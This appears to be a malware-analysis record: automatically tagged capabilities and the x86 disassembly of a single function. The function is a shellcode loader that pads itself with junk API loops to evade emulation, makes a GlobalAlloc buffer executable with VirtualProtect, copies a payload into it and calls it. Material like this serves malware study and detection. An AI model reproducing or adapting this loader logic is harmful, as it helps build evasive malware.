Function at 0x4037a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp esi, 0x207142
jg 0x4037cf
inc esi
cmp esi, 0x67d12
jl 0x4037b4
cmp dword [0x617374], 0x93
jne 0x403875
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetMenuStringA]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor eax, eax
lock bts dword [eax], 0
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0x403350
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push 0
lea edx, [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
call fcn.00404237
push 0
call fcn.004047b8
add esp, 4
push 0
call fcn.004047ce
add esp, 4
push 0
push 0
call fcn.004043e4
fldz
add esp, 8
push 0
sub esp, 8
fstp qword [esp]
call fcn.004043fb
add esp, 0xc
fstp st(0)
call fcn.0040423c
mov eax, dword [0x47487c]
mov dword [0x6181b0], eax
mov eax, dword [0x617374]
add eax, 0x1134b
push eax
push 0
mov dword [0x617374], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x617374]
lea ecx, [ebp - 8]
push ecx
push 0x40
push edx
push eax
mov dword [0x616e04], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1692e
push 0
push 0
call dword [sym.imp.USER32.dll_LoadMenuW]
push 0
call edi
call ebx
dec esi
jne 0x4038c1
cmp dword [0x617374], esi
jbe 0x403944
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x6181b0]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0x616e04]
mov byte [edx + esi], cl
cmp dword [0x617374], 0x490
jne 0x40393b
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x617374]
jb 0x4038e8
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
xor esi, esi
mov ecx, dword [0x617374]
add ecx, esi
cmp ecx, 0x8d
jne 0x40398a
push 0
lea edx, [ebp - 0x810]
push edx
push 0
push 0x403398
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
inc esi
cmp esi, 0x38681
jl 0x403952
call fcn.004034b0
xor edi, edi
xor esi, esi
lea esp, [esp]
push edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4039bf
mov dword [ebp - 4], edi
add dword [ebp - 4], 0
mov eax, dword [ebp - 4]
add dword [0x616e04], eax
inc esi
cmp esi, 0x674bd
jl 0x4039a0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalWire]
mov dword [ebp - 4], 0x7b
cmp dword [0x617374], 0x86
jne 0x403a22
push 0
call esi
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea ecx, [ebp - 0x410]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
cmp dword [0x617374], 0xf
jne 0x403a39
push 0
push 0
lea edx, [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 4]
jne 0x4039e1
push 0x4033a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x616e04]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret